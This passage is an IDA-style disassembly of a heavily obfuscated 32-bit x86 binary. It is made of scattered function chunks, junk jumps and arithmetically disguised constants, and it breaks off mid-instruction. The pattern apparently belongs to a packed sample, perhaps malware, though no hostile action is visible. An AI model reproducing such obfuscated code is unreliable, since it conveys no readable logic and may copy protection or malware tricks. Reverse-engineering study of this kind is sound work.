--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10013128: ; CODE XREF: sub_100181E1:loc_1001666Ej jz loc_10015DEB jmp loc_10017EEE ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10013133: ; CODE XREF: sub_10018AB1:loc_1001C15Dj call sub_1001534D push eax call sub_1001533A loc_1001313E: ; CODE XREF: sub_100188EE-4244j jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10013143: ; CODE XREF: sub_100175DE:loc_1001838Dj push dword ptr [ebp+8] call eax push esi mov esi, ecx jmp loc_1001CD9D ; END OF FUNCTION CHUNK FOR sub_100175DE ; =============== S U B R O U T I N E ======================================= sub_10013150 proc near ; CODE XREF: an.kk9rg:1001BBD5j ; sub_10015A60+7DB2p xchg esi, [esp+0] pop esi mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz loc_1001436E sub_10013150 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10013161: ; CODE XREF: sub_10015B5D-17F5j ; sub_100142E8+37A0j jnb loc_1001ABCF cmp dword ptr [ebp-1Ch], 66h jnz loc_1001D843 jmp loc_10018835 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10013176: ; CODE XREF: sub_10016451:loc_10014B7Bj push eax push edx push 0DE514223h pop edx or edx, 0A82B44D5h sub edx, 5A10E442h rol edx, 1Dh sub edx, 0AA838Ah jmp loc_10015A3B ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C87 loc_10013198: ; CODE XREF: sub_10019C87+11j push eax mov edx, eax jmp loc_1001C0B6 ; END OF FUNCTION CHUNK FOR sub_10019C87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_100131A0: ; CODE XREF: sub_100181E1j mov edx, ds:dword_100180DC or edx, edx jnz loc_1001A7D4 jmp loc_1001666E ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- push esi jmp sub_10019CD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100131B9: ; CODE XREF: sub_1001B5A3-824Fj jz loc_10016F60 jmp loc_1001ADF1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_100131C4: ; CODE XREF: sub_10013BB8+94AEj xchg ecx, ebx mov ebx, [ecx] rol ebp, 4 loc_100131CB: ; CODE XREF: sub_10013BB8:loc_10013977j push 0E033C43Dh pop eax jmp loc_1001C7CB ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_100131D6: ; CODE XREF: sub_10016C77+16j xor ebx, 0FB2BCABDh add ebx, ebp add ebx, 0FBE8CCB4h mov [ebx], eax pop ebx push eax pushf push 33F06495h jmp loc_1001C3F7 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- xchg eax, ebp jmp loc_1001D575 ; --------------------------------------------------------------------------- mov ebp, ebx and ebp, 6439FD8Fh jmp sub_1001828B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013207: ; CODE XREF: sub_10016D66+33C4j mov edx, 70636624h jmp loc_1001468E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10013211: ; CODE XREF: an.kk9rg:1001637Dj push ebp mov ebp, esp push ecx mov [ebp-4], eax jmp loc_1001D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001321D: ; CODE XREF: sub_10016D66:loc_10014DBEj ; sub_10018C4D+404Ej mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] jmp loc_10013FD9 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001322E: ; CODE XREF: sub_100193F2:loc_10016775j jnz loc_10014AFA mov ecx, [ebx+edx-4] or ecx, ecx jz loc_1001D07F mov ebx, [ebx+ecx] jmp loc_1001ACCE ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_10013248: ; CODE XREF: sub_1001D9A7-7C37j js loc_1001791F mov edx, [edi] jmp loc_1001D928 ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10013255: ; CODE XREF: sub_10019E2E-4E65j sub al, 99h push 39B07392h pop edx add edx, ds:100000C0h and edx, 576270EBh xor edx, 8C0DCCDBh jmp loc_10018498 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10013274: ; CODE XREF: sub_10015B1B+1CAj jl loc_1001525C push esi jmp loc_10015B92 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_10013280: ; CODE XREF: an.kk9rg:1001A1A2j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10015B92 jmp loc_10014A54 ; --------------------------------------------------------------------------- test edi, ebp jmp loc_1001DE42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_1001329B: ; CODE XREF: sub_1001B3A1+7j rol ecx, 19h xor ecx, 5C988CF9h jns loc_1001C5BE sub edi, 8500666Ch jmp loc_1001C30B ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_100132B5: ; CODE XREF: sub_100174F4-1F53j ; an.kk9rg:loc_1001CE91j lea eax, [ebp+var_14] push eax call sub_10018CA1 push ecx push 1904A022h pop ecx loc_100132C5: ; CODE XREF: sub_10016D66+192Fj or ecx, 5B336287h jmp loc_1001803C ; END OF FUNCTION CHUNK FOR sub_100174F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100132D1: ; CODE XREF: sub_10018C76+57Ej jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100132D6: ; CODE XREF: sub_10015E0D-27DFj mov ebp, edx jmp loc_1001C669 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100132DD: ; CODE XREF: sub_10019409-5E23j ; sub_10019409-4D10j ... jmp loc_10014158 ; --------------------------------------------------------------------------- loc_100132E2: ; CODE XREF: sub_10019409-5296j ; sub_1001A2CC:loc_1001C0BBj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_100132E5 proc near ; CODE XREF: sub_1001646E+Ep ; sub_10016A1B:loc_1001A72Dj ; FUNCTION CHUNK AT 10014075 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015C2C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10015C5D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10015FFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100164D4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001A185 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001B52B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001DA82 SIZE 00000005 BYTES push ebp jmp loc_1001A185 sub_100132E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_100132EB: ; CODE XREF: an.kk9rg:1001AE5Fj retn ; --------------------------------------------------------------------------- loc_100132EC: ; CODE XREF: an.kk9rg:10014DB3j jmp loc_10018556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100132F1: ; CODE XREF: sub_1001B5A3-7392j rol ebx, 0Ch pop ebx jg loc_10018AF6 jmp loc_100151C3 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- push ebx mov ebx, eax xchg ebx, [esp] ror eax, 0Ah mov ds:dword_1001819C, eax retn ; =============== S U B R O U T I N E ======================================= sub_10013310 proc near ; CODE XREF: sub_10016D04:loc_100154C8p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014C81 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10015CA1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017151 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AC88 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B583 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B870 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BC36 SIZE 0000000F BYTES push ecx jmp loc_1001BC36 sub_10013310 endp ; --------------------------------------------------------------------------- loc_10013316: ; CODE XREF: an.kk9rg:loc_10017EC5j add ebx, ebp add ebx, 28C99563h mov [ebx], eax xchg esi, [esp] mov ebx, esi pop esi mov eax, [ebp-4] jmp loc_10017DD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001332E: ; CODE XREF: sub_10019409:loc_10016EBDj xor eax, 0FC805E0Ah add eax, 271CEA9Eh rol eax, 1Fh and eax, 9A52FFFEh cmp eax, 5E9C8834h jmp loc_100149BA ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001334E: ; CODE XREF: sub_1001B5A3:loc_1001C491j jnz loc_10016F65 jmp loc_100131B9 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013359 proc near ; CODE XREF: sub_100182D9j var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 1001703B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A9BC SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al cmp [ebp+var_1], 0 jmp loc_1001A9BC sub_10013359 endp ; --------------------------------------------------------------------------- push ecx call sub_1001B692 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013372 proc near ; CODE XREF: sub_10017A58-225Fp ; sub_1001DD1D+13p ; FUNCTION CHUNK AT 100148EA SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_100148EA sub_10013372 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_1001337B: ; CODE XREF: sub_1001C529-394Aj mov eax, [esp+0] push ebp mov ebp, edx xchg ebp, [esp+4+var_4] jmp loc_1001B11F ; END OF FUNCTION CHUNK FOR sub_1001C529 ; =============== S U B R O U T I N E ======================================= sub_10013389 proc near ; CODE XREF: sub_100142CF:loc_10014BC8p ; an.kk9rg:100173E9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 100130E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013814 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001387F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001396C SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10013B95 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100141D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100142BA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001431D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100145CD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001464E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100146DC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10014885 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 100148B9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001508F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100150DB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100151F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015240 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 100152E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001547A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001551C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001569E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015905 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10015B9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015CA8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 100162F8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016388 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10016467 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100164F3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10016509 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100165C3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016782 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10016C09 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10016DF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016FDE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001707C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100170FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001717F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 100171D4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100172EA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001735F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017583 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100175A1 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 10017606 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001768D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017776 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001789E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10017A94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017AC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017E0A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017FAD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017FE0 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001825E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10018273 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100182BC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 100184CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100185FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100186C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100187DF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100189B9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10018AA1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018D34 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001933E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100193BC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001967E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019690 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001991D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10019BD4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019C7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019D94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A2A2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A6BB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A867 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AADB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AB36 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AC36 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001ACE6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001AD9F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001ADC5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001AE7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF47 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001AF7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B22F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B29D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B352 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B503 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B552 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B85B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B9D5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA1A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C3B7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001C40E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C46B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001C629 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C699 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C772 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C7B9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001CB43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CE4E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001CEBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CEF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D234 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001D35C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001D446 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D452 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4F4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D5EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D67E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D689 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D727 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001D761 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D7AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA37 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001DB29 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001DC49 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001DE81 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax jnz loc_1001B503 mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_10013573 mov eax, [ebp-8] mov byte ptr [eax], 0 jmp loc_1001B352 ; --------------------------------------------------------------------------- loc_100133AA: ; CODE XREF: an.kk9rg:1001907Aj ; sub_10013310+797Fj push 5118BE37h pop eax add eax, 5A2DAB0Ah test eax, 40h jmp loc_1001AB36 ; --------------------------------------------------------------------------- loc_100133C1: ; CODE XREF: sub_10013389+6F27j shl eax, 4 loc_100133C4: ; CODE XREF: sub_10014CDF+656Ej jge loc_10015905 popf loc_100133CB: ; CODE XREF: sub_10013389:loc_1001A2A2j ; an.kk9rg:1001DCADj rol eax, 0Eh cmp eax, 1476D726h jmp loc_10015CA8 ; --------------------------------------------------------------------------- loc_100133D9: ; CODE XREF: sub_1001ACEF-2F00j mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax mov eax, [ebp+8] mov eax, [eax-10h] jmp loc_1001C629 ; --------------------------------------------------------------------------- loc_100133F0: ; CODE XREF: sub_10013389+4A89j jb loc_100181B0 add ecx, 65F77B79h xchg ecx, [ebx] loc_100133FE: ; CODE XREF: an.kk9rg:loc_10019DF2j jbe loc_10019D94 jmp loc_100148B9 ; --------------------------------------------------------------------------- loc_10013409: ; CODE XREF: sub_1001C799:loc_10013086j and ebx, 0F8A4F8E6h loc_1001340F: ; CODE XREF: sub_1001492C+5C4Bj add ebx, 0CFE083AFh push offset sub_100192DD jmp nullsub_9 ; --------------------------------------------------------------------------- loc_1001341F: ; CODE XREF: sub_10019269:loc_10013A55j ; an.kk9rg:loc_10017D80j xchg esi, [esp-4+arg_0] mov ebp, esi loc_10013424: ; CODE XREF: sub_10016734:loc_10017CA8j pop esi mov eax, ds:dword_1001819C push offset loc_10015A2E jmp nullsub_10 ; --------------------------------------------------------------------------- loc_10013435: ; CODE XREF: an.kk9rg:1001A6A3j mov eax, [eax] push offset sub_1001D913 jmp loc_10016DF8 ; --------------------------------------------------------------------------- loc_10013441: ; CODE XREF: sub_10013A6A+5j push 0E17F2C89h pop edx add edx, 7775F1EDh xor edx, 0C9EC4E53h and edx, 970D25EFh xor edx, 0C6F00640h add edx, ebp add edx, 0A806F997h jmp loc_10017583 ; --------------------------------------------------------------------------- loc_1001346C: ; CODE XREF: sub_10018776:loc_10018782j not ecx jmp loc_100165C3 ; --------------------------------------------------------------------------- loc_10013473: ; CODE XREF: sub_10014A06:loc_1001B2AAj jz loc_1001508F jmp loc_1001AF7E ; --------------------------------------------------------------------------- loc_1001347E: ; CODE XREF: sub_10013061:loc_1001DEF5j jnz loc_100142BE jmp loc_10016782 ; --------------------------------------------------------------------------- loc_10013489: ; CODE XREF: sub_1001DC8F:loc_10017C74j cmp ds:dword_10019654, 0 jz loc_10013B95 call sub_1001C830 loc_1001349B: ; CODE XREF: sub_10014A76-CCj ; sub_10015BFC:loc_10018711j jmp loc_100187DF ; --------------------------------------------------------------------------- loc_100134A0: ; CODE XREF: sub_1001CB33-75F3j mov [edi], esi loc_100134A2: ; CODE XREF: sub_1001CB33:loc_10019126j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D689 jmp loc_1001551C ; --------------------------------------------------------------------------- loc_100134B3: ; CODE XREF: sub_1001492C:loc_1001D44Dj add eax, ds:100000C7h or eax, 0FE8CC715h xor eax, 0A1A4914h add eax, ebp add eax, 0B5849D9h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_10018273 ; --------------------------------------------------------------------------- loc_100134D7: ; CODE XREF: sub_1001DE48-8B86j cmp dword ptr [eax-4], 4 jnz loc_1001ACE6 push offset loc_1001ACDD jmp nullsub_11 ; --------------------------------------------------------------------------- loc_100134EB: ; CODE XREF: sub_1001CA76+Aj xor edx, 0A73C493Fh call sub_1001A533 loc_100134F6: ; CODE XREF: sub_10018DE4+10j jmp nullsub_12 ; --------------------------------------------------------------------------- loc_100134FB: ; CODE XREF: sub_10013389+603Ej sbb edi, eax loc_100134FD: ; CODE XREF: sub_10013389:loc_100193BCj add eax, 7EE56948h add eax, ebp add eax, 0AD1B233Dh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10019C7F jmp loc_1001CB97 ; --------------------------------------------------------------------------- loc_1001351B: ; CODE XREF: sub_1001A533+B0j adc eax, 0F5476948h ja loc_1001AADB jmp loc_1001B552 ; --------------------------------------------------------------------------- loc_1001352C: ; CODE XREF: sub_100181E1:loc_10013BCFj pop edx sub edx, 2224AF11h add edx, 0B471D025h mov edx, [edx] or edx, edx jnz loc_1001A7D4 jmp loc_1001D5EC ; --------------------------------------------------------------------------- xor ecx, edi cdq jmp sub_10018A31 ; --------------------------------------------------------------------------- loc_10013550: ; CODE XREF: sub_100170BC:loc_1001DAD8j push offset sub_100143F5 jmp loc_1001967E ; --------------------------------------------------------------------------- locret_1001355A: ; CODE XREF: sub_10017811:loc_1001408Dj retn ; --------------------------------------------------------------------------- loc_1001355B: ; CODE XREF: sub_1001D43B:loc_10018476j xchg ebx, [esp+4+var_4] mov esp, ebp push offset sub_1001DCDB jmp nullsub_13 ; --------------------------------------------------------------------------- loc_1001356A: ; CODE XREF: sub_10018901:loc_100166A4j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_1001356E: ; CODE XREF: sub_100143F5+2E05j jmp loc_1001B85B ; --------------------------------------------------------------------------- loc_10013573: ; CODE XREF: sub_10013389+10j ; sub_10018901+3j mov eax, [ebp-4] mov al, [eax] jmp loc_1001825E sub_10013389 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001357E proc near ; DATA XREF: sub_10017F49+30Bo ; FUNCTION CHUNK AT 1001432F SIZE 00000005 BYTES xor eax, 80E99959h add eax, ebp add eax, 0A6E05978h mov eax, [eax] push offset sub_10015C95 jmp loc_1001432F sub_1001357E endp ; --------------------------------------------------------------------------- push ecx ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10013599: ; CODE XREF: sub_1001A97E-4418j mov ecx, eax xchg ecx, [esp+0] ror eax, 18h push edi push 0C8818BF9h pop edi rol edi, 2 jmp loc_1001C6CC ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100135B0: ; CODE XREF: sub_10018066:loc_1001446Bj jnz loc_1001437D ; END OF FUNCTION CHUNK FOR sub_10018066 ; START OF FUNCTION CHUNK FOR sub_1001620D loc_100135B6: ; CODE XREF: sub_1001620D-ABj jmp loc_1001C0C6 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- or ebx, 0D651CF77h shr eax, 5 push 11CE4FF4h jmp loc_10014379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_100135CE: ; CODE XREF: sub_1001C9F8-6ACCj jl loc_1001A051 test ebx, edi jmp loc_1001A046 ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- or edx, edi ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100135DD: ; CODE XREF: sub_10016D04:loc_10015F08j jmp loc_1001CC67 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100135E2: ; CODE XREF: sub_10019409-44E5j add eax, esi and edx, esi jmp loc_100132DD ; --------------------------------------------------------------------------- loc_100135EB: ; CODE XREF: sub_10019409-4D1Fj sub al, 99h push 30D9385h pop edx jmp loc_1001C0B1 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- jl loc_1001546C ja loc_10016304 jmp sub_100141E3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D11D loc_1001360A: ; CODE XREF: sub_1001D11D+7j jmp loc_10017323 ; END OF FUNCTION CHUNK FOR sub_1001D11D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_1001360F: ; CODE XREF: sub_1001A2CC+1DF5j jmp loc_10016984 ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10013614: ; CODE XREF: sub_1001893F+3175j jmp loc_10016979 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013619: ; CODE XREF: sub_10016D66-223Cj jmp loc_1001B60F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D50B loc_1001361E: ; CODE XREF: sub_1001D50B+1Aj push offset sub_100186DF jmp loc_100198B2 ; END OF FUNCTION CHUNK FOR sub_1001D50B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013628: ; CODE XREF: sub_10015E0D+729Ej jz loc_10013A06 jmp loc_100132D6 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_10013633: ; CODE XREF: an.kk9rg:10018E10j jge loc_1001AD3E loc_10013639: ; CODE XREF: an.kk9rg:loc_10015E5Dj call sub_10016D9F ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001363E: ; CODE XREF: sub_10019E2E+832j jnz loc_10014F05 jmp loc_10014001 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_10013649: ; CODE XREF: sub_10016323:loc_1001798Cj mov edi, edx xchg edi, [esp+0] call sub_10015BA9 mov 